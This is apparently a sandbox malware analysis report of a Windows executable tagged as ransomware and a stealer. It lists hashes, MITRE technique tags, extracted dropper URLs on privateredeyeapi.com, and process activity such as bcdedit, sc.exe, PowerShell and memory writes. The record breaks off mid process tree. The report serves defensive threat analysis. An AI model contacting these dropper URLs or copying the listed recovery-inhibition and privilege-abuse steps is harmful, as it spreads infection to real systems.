eec29a29473707d2e7ee84c8cdd53e6501a83b95521a6f9f1d2828e5e70563e8

Analysis

max time kernel
45s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
13/08/2026, 06:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
Size 10.5MB
Sample260813-grfxqatalg
SHA256 eec29a29473707d2e7ee84c8cdd53e6501a83b95521a6f9f1d2828e5e70563e8
MD5 c58bd4daacc83720f956858e027518fd
SHA1 e7f402915666073c605de7b19f10187f044451e7
SHA512 edf2a0e2b10bc1efdbc8c8a6812dfaa8543a61efa0ddd38f7d99622c2281a3025a9fac2162d8ec36e2d4f9eb78a470e71175f5edc040671ce57318cab142d053
SSDEEP 98304:h+Ll9PDx5zx21C3/FRSpNsQWOvVIMIuCQOe/EpyMM3GtEXENPAMxm+1Gh5hQCDRC:29PvxgCIWOvjIppZM2W4AMhMXeWE
TLSH
T13CB64C03F66290E8C06AC575835AE633FB32B88D493472BF6BA45B312E65F506F1D748
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery evasion execution persistence ransomware trojan

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://privateredeyeapi.com/?action=NewsBooster

Extracted

Language

Source

URLs

exe.dropper
https://privateredeyeapi.com/?action=MaintGetBooster

Extracted

Language

Source

URLs

exe.dropper
https://privateredeyeapi.com/?action=AdminCheckBooster

Extracted

Language

Source

URLs

exe.dropper
https://privateredeyeapi.com/?action=ForceGetBooster

Extracted

Language

Source

URLs

exe.dropper
https://privateredeyeapi.com/?action=GatesGetBooster

Extracted

Language

Source

URLs

exe.dropper
https://privateredeyeapi.com/?action=BanCheckBooster

Extracted

Language

Source

URLs

exe.dropper
https://privateredeyeapi.com/?action=RegisterBooster

Extracted

Language

Source

URLs

exe.dropper
https://privateredeyeapi.com/?action=EventBooster

Extracted

Language

Source

URLs

exe.dropper
https://privateredeyeapi.com/?action=BroadcastGetBooster

Extracted

Language

Source

URLs

exe.dropper
https://privateredeyeapi.com/?action=TrialBooster

Signatures

Modifies boot configuration data using bcdedit 1 TTPs 5 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
5732	bcdedit.exe
5732	bcdedit.exe
5732	bcdedit.exe
5732	bcdedit.exe
5732	bcdedit.exe

Badlisted process makes network request 64 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
12	4708	powershell.exe
22	4708	powershell.exe
27	6532	powershell.exe
29	4864	powershell.exe
31	4864	powershell.exe
34	5680	powershell.exe
31	4864	powershell.exe
35	5680	powershell.exe
36	3976	powershell.exe
37	3676	powershell.exe
40	2176	powershell.exe
42	2012	powershell.exe
43	3976	powershell.exe
44	3676	powershell.exe
12	4708	powershell.exe
22	4708	powershell.exe
27	6532	powershell.exe
29	4864	powershell.exe
31	4864	powershell.exe
34	5680	powershell.exe
31	4864	powershell.exe
35	5680	powershell.exe
36	3976	powershell.exe
37	3676	powershell.exe
40	2176	powershell.exe
42	2012	powershell.exe
43	3976	powershell.exe
44	3676	powershell.exe
12	4708	powershell.exe
22	4708	powershell.exe
27	6532	powershell.exe
29	4864	powershell.exe
31	4864	powershell.exe
34	5680	powershell.exe
31	4864	powershell.exe
35	5680	powershell.exe
36	3976	powershell.exe
37	3676	powershell.exe
40	2176	powershell.exe
42	2012	powershell.exe
43	3976	powershell.exe
44	3676	powershell.exe
12	4708	powershell.exe
22	4708	powershell.exe
27	6532	powershell.exe
29	4864	powershell.exe
31	4864	powershell.exe
34	5680	powershell.exe
31	4864	powershell.exe
35	5680	powershell.exe
36	3976	powershell.exe
37	3676	powershell.exe
40	2176	powershell.exe
42	2012	powershell.exe
43	3976	powershell.exe
44	3676	powershell.exe
12	4708	powershell.exe
22	4708	powershell.exe
27	6532	powershell.exe
29	4864	powershell.exe
31	4864	powershell.exe
34	5680	powershell.exe
31	4864	powershell.exe
35	5680	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 60 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
6632	powershell.exe
968	powershell.exe
2604	powershell.exe
6864	powershell.exe
1744	powershell.exe
5368	powershell.exe
5952	powershell.exe
2012	powershell.exe
1288	powershell.exe
4608	powershell.exe
1080	powershell.exe
4148	powershell.exe
3628	powershell.exe
5680	powershell.exe
3976	powershell.exe
3676	powershell.exe
2176	powershell.exe
940	powershell.exe
5556	powershell.exe
6532	powershell.exe
4864	powershell.exe
4708	powershell.exe
2324	powershell.exe
4464	powershell.exe
6484	powershell.exe
6940	powershell.exe
4228	powershell.exe
4388	powershell.exe
6284	powershell.exe
6516	powershell.exe
1644	powershell.exe
716	powershell.exe
1520	powershell.exe
4228	powershell.exe
2372	powershell.exe
4412	powershell.exe
1560	powershell.exe
436	powershell.exe
3168	powershell.exe
6200	powershell.exe
3332	powershell.exe
6312	powershell.exe
5956	powershell.exe
4396	powershell.exe
4196	powershell.exe
1256	powershell.exe
2540	powershell.exe
2624	powershell.exe
3532	powershell.exe
3692	powershell.exe
5516	powershell.exe
5836	powershell.exe
3308	powershell.exe
5960	powershell.exe
4248	powershell.exe
6476	powershell.exe
6832	powershell.exe
4384	powershell.exe
3492	powershell.exe
5368	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004
Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Power Settings 1 TTPs 4 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
5372	powercfg.exe
1744	powershell.exe
5756	powercfg.exe
5368	powershell.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 8 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
5716	powershell.exe
1744	powershell.exe
5368	powershell.exe
1600	powershell.exe
6632	powershell.exe
2604	powershell.exe
5952	powershell.exe
2560	powershell.exe

Launches sc.exe 46 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1576	sc.exe
6848	sc.exe
6368	sc.exe
4468	sc.exe
1368	sc.exe
6760	sc.exe
4196	sc.exe
3192	sc.exe
4820	sc.exe
4756	sc.exe
4916	sc.exe
6788	sc.exe
1784	sc.exe
4832	sc.exe
5332	sc.exe
4148	sc.exe
6244	sc.exe
3096	sc.exe
940	sc.exe
2744	sc.exe
204	sc.exe
4492	sc.exe
1228	sc.exe
3252	sc.exe
2088	sc.exe
4248	sc.exe
3240	sc.exe
5600	sc.exe
5400	sc.exe
3568	sc.exe
4296	sc.exe
4620	sc.exe
1020	sc.exe
7084	sc.exe
4500	sc.exe
6724	sc.exe
2544	sc.exe
1912	sc.exe
3792	sc.exe
6952	sc.exe
5556	sc.exe
5220	sc.exe
236	sc.exe
4136	sc.exe
7008	sc.exe
1124	sc.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
6476	netsh.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedgewebview2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedgewebview2.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
712	ipconfig.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
6632	powershell.exe
6632	powershell.exe
3980	powershell.exe
3980	powershell.exe
4708	powershell.exe
4708	powershell.exe
3980	powershell.exe
6632	powershell.exe
4708	powershell.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
4228	powershell.exe
4228	powershell.exe
968	powershell.exe
968	powershell.exe
4228	powershell.exe
968	powershell.exe
1256	powershell.exe
1256	powershell.exe
1256	powershell.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
4148	powershell.exe
4148	powershell.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
4864	powershell.exe
4864	powershell.exe
6532	powershell.exe
6532	powershell.exe
5716	powershell.exe
5716	powershell.exe
4464	powershell.exe
4464	powershell.exe
4148	powershell.exe
4148	powershell.exe
6532	powershell.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
4780	msedgewebview2.exe
4780	msedgewebview2.exe
4780	msedgewebview2.exe
4780	msedgewebview2.exe
4780	msedgewebview2.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	6632	powershell.exe
Token: SeDebugPrivilege	3980	powershell.exe
Token: SeDebugPrivilege	4708	powershell.exe
Token: SeDebugPrivilege	4228	powershell.exe
Token: SeDebugPrivilege	968	powershell.exe
Token: SeDebugPrivilege	1256	powershell.exe
Token: SeIncreaseQuotaPrivilege	4228	powershell.exe
Token: SeSecurityPrivilege	4228	powershell.exe
Token: SeTakeOwnershipPrivilege	4228	powershell.exe
Token: SeLoadDriverPrivilege	4228	powershell.exe
Token: SeSystemProfilePrivilege	4228	powershell.exe
Token: SeSystemtimePrivilege	4228	powershell.exe
Token: SeProfSingleProcessPrivilege	4228	powershell.exe
Token: SeIncBasePriorityPrivilege	4228	powershell.exe
Token: SeCreatePagefilePrivilege	4228	powershell.exe
Token: SeBackupPrivilege	4228	powershell.exe
Token: SeRestorePrivilege	4228	powershell.exe
Token: SeShutdownPrivilege	4228	powershell.exe
Token: SeDebugPrivilege	4228	powershell.exe
Token: SeSystemEnvironmentPrivilege	4228	powershell.exe
Token: SeRemoteShutdownPrivilege	4228	powershell.exe
Token: SeUndockPrivilege	4228	powershell.exe
Token: SeManageVolumePrivilege	4228	powershell.exe
Token: 33	4228	powershell.exe
Token: 34	4228	powershell.exe
Token: 35	4228	powershell.exe
Token: 36	4228	powershell.exe
Token: SeIncreaseQuotaPrivilege	1256	powershell.exe
Token: SeSecurityPrivilege	1256	powershell.exe
Token: SeTakeOwnershipPrivilege	1256	powershell.exe
Token: SeLoadDriverPrivilege	1256	powershell.exe
Token: SeSystemProfilePrivilege	1256	powershell.exe
Token: SeSystemtimePrivilege	1256	powershell.exe
Token: SeProfSingleProcessPrivilege	1256	powershell.exe
Token: SeIncBasePriorityPrivilege	1256	powershell.exe
Token: SeCreatePagefilePrivilege	1256	powershell.exe
Token: SeBackupPrivilege	1256	powershell.exe
Token: SeRestorePrivilege	1256	powershell.exe
Token: SeShutdownPrivilege	1256	powershell.exe
Token: SeDebugPrivilege	1256	powershell.exe
Token: SeSystemEnvironmentPrivilege	1256	powershell.exe
Token: SeRemoteShutdownPrivilege	1256	powershell.exe
Token: SeUndockPrivilege	1256	powershell.exe
Token: SeManageVolumePrivilege	1256	powershell.exe
Token: 33	1256	powershell.exe
Token: 34	1256	powershell.exe
Token: 35	1256	powershell.exe
Token: 36	1256	powershell.exe
Token: SeDebugPrivilege	4148	powershell.exe
Token: SeDebugPrivilege	4864	powershell.exe
Token: SeDebugPrivilege	6532	powershell.exe
Token: SeDebugPrivilege	5716	powershell.exe
Token: SeDebugPrivilege	4464	powershell.exe
Token: SeDebugPrivilege	3692	powershell.exe
Token: SeDebugPrivilege	6200	powershell.exe
Token: SeDebugPrivilege	5516	powershell.exe
Token: SeDebugPrivilege	4388	powershell.exe
Token: SeIncreaseQuotaPrivilege	4464	powershell.exe
Token: SeSecurityPrivilege	4464	powershell.exe
Token: SeTakeOwnershipPrivilege	4464	powershell.exe
Token: SeLoadDriverPrivilege	4464	powershell.exe
Token: SeSystemProfilePrivilege	4464	powershell.exe
Token: SeSystemtimePrivilege	4464	powershell.exe
Token: SeProfSingleProcessPrivilege	4464	powershell.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
968	powershell.exe
968	powershell.exe
968	powershell.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
968	powershell.exe
968	powershell.exe
968	powershell.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
968	powershell.exe
968	powershell.exe
968	powershell.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
968	powershell.exe
968	powershell.exe
968	powershell.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
968	powershell.exe
968	powershell.exe
968	powershell.exe

Suspicious use of SendNotifyMessage 20 IoCs

pid	Process
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
968	powershell.exe
968	powershell.exe
968	powershell.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
968	powershell.exe
968	powershell.exe
968	powershell.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
968	powershell.exe
968	powershell.exe
968	powershell.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
968	powershell.exe
968	powershell.exe
968	powershell.exe
6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
968	powershell.exe
968	powershell.exe
968	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 6424 wrote to memory of 4780	6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	90
PID 4780 wrote to memory of 3148	4780	msedgewebview2.exe	91
PID 4780 wrote to memory of 960	4780	msedgewebview2.exe	92
PID 4780 wrote to memory of 960	4780	msedgewebview2.exe	92
PID 4780 wrote to memory of 960	4780	msedgewebview2.exe	92
PID 4780 wrote to memory of 960	4780	msedgewebview2.exe	92
PID 4780 wrote to memory of 3092	4780	msedgewebview2.exe	93
PID 4780 wrote to memory of 6416	4780	msedgewebview2.exe	94
PID 4780 wrote to memory of 6416	4780	msedgewebview2.exe	94
PID 4780 wrote to memory of 6416	4780	msedgewebview2.exe	94
PID 4780 wrote to memory of 4200	4780	msedgewebview2.exe	95
PID 4780 wrote to memory of 4200	4780	msedgewebview2.exe	95
PID 4780 wrote to memory of 4200	4780	msedgewebview2.exe	95
PID 4780 wrote to memory of 4200	4780	msedgewebview2.exe	95
PID 4780 wrote to memory of 4200	4780	msedgewebview2.exe	95
PID 6424 wrote to memory of 6632	6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	96
PID 6424 wrote to memory of 3980	6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	97
PID 6424 wrote to memory of 4708	6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	98
PID 6424 wrote to memory of 4228	6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	102
PID 6424 wrote to memory of 968	6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	104
PID 6424 wrote to memory of 1256	6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	106
PID 6424 wrote to memory of 4148	6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	109
PID 6424 wrote to memory of 4864	6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	111
PID 6424 wrote to memory of 6532	6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	112
PID 6424 wrote to memory of 5716	6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	113
PID 6424 wrote to memory of 4464	6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	114
PID 6424 wrote to memory of 3692	6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	119
PID 6424 wrote to memory of 5516	6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	121
PID 6424 wrote to memory of 6200	6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	123
PID 6424 wrote to memory of 4388	6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	125
PID 6424 wrote to memory of 3628	6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	175
PID 6424 wrote to memory of 5680	6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	131
PID 6424 wrote to memory of 3976	6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	134
PID 6424 wrote to memory of 3676	6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	136
PID 6424 wrote to memory of 2176	6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	138
PID 6424 wrote to memory of 2012	6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	142
PID 6424 wrote to memory of 6484	6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	144
PID 6424 wrote to memory of 3332	6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	146
PID 6424 wrote to memory of 6312	6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	148
PID 6424 wrote to memory of 5836	6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	150
PID 6424 wrote to memory of 4780	6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	90
PID 4780 wrote to memory of 3148	4780	msedgewebview2.exe	91
PID 4780 wrote to memory of 960	4780	msedgewebview2.exe	92
PID 4780 wrote to memory of 960	4780	msedgewebview2.exe	92
PID 4780 wrote to memory of 960	4780	msedgewebview2.exe	92
PID 4780 wrote to memory of 960	4780	msedgewebview2.exe	92
PID 4780 wrote to memory of 3092	4780	msedgewebview2.exe	93
PID 4780 wrote to memory of 6416	4780	msedgewebview2.exe	94
PID 4780 wrote to memory of 6416	4780	msedgewebview2.exe	94
PID 4780 wrote to memory of 6416	4780	msedgewebview2.exe	94
PID 4780 wrote to memory of 4200	4780	msedgewebview2.exe	95
PID 4780 wrote to memory of 4200	4780	msedgewebview2.exe	95
PID 4780 wrote to memory of 4200	4780	msedgewebview2.exe	95
PID 4780 wrote to memory of 4200	4780	msedgewebview2.exe	95
PID 4780 wrote to memory of 4200	4780	msedgewebview2.exe	95
PID 6424 wrote to memory of 6632	6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	96
PID 6424 wrote to memory of 3980	6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	97
PID 6424 wrote to memory of 4708	6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	98
PID 6424 wrote to memory of 4228	6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	102
PID 6424 wrote to memory of 968	6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	104
PID 6424 wrote to memory of 1256	6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	106
PID 6424 wrote to memory of 4148	6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	109
PID 6424 wrote to memory of 4864	6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	111
PID 6424 wrote to memory of 6532	6424	2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	112

C:\Users\Admin\AppData\Local\Temp\2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe"
1⤵
- Checks whether UAC is enabled
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:6424
- C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
  "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=2026-08-12_c58bd4daacc83720f956858e027518fd_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe --webview-exe-version=5.3.2 --user-data-dir="C:\Users\Admin\AppData\Local\net.redbooster.app\EBWebView" --noerrdialogs --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --autoplay-policy=no-user-gesture-required --disable-features=msWebOOUI,msPdfOOUI,msSmartScreenProtection --enable-features=MojoIpcz --lang=en-US --accept-lang=en-US --mojo-named-platform-channel-pipe=6424.3540.1877514088398704884 /pfhostedapp:eba7e9b400d65d6cea39c08c754997b4a7de1eaa
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of WriteProcessMemory
  PID:4780
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\net.redbooster.app\EBWebView /prefetch:4 /pfhostedapp:eba7e9b400d65d6cea39c08c754997b4a7de1eaa --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\net.redbooster.app\EBWebView\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=122.0.6261.139 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --annotation=plat=Win64 "--annotation=prod=Edge WebView2" --annotation=ver=122.0.2365.106 --initial-client-data=0x184,0x188,0x18c,0x160,0x194,0x7ffd8db05fd8,0x7ffd8db05fe4,0x7ffd8db05ff0
    3⤵
    PID:3148
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
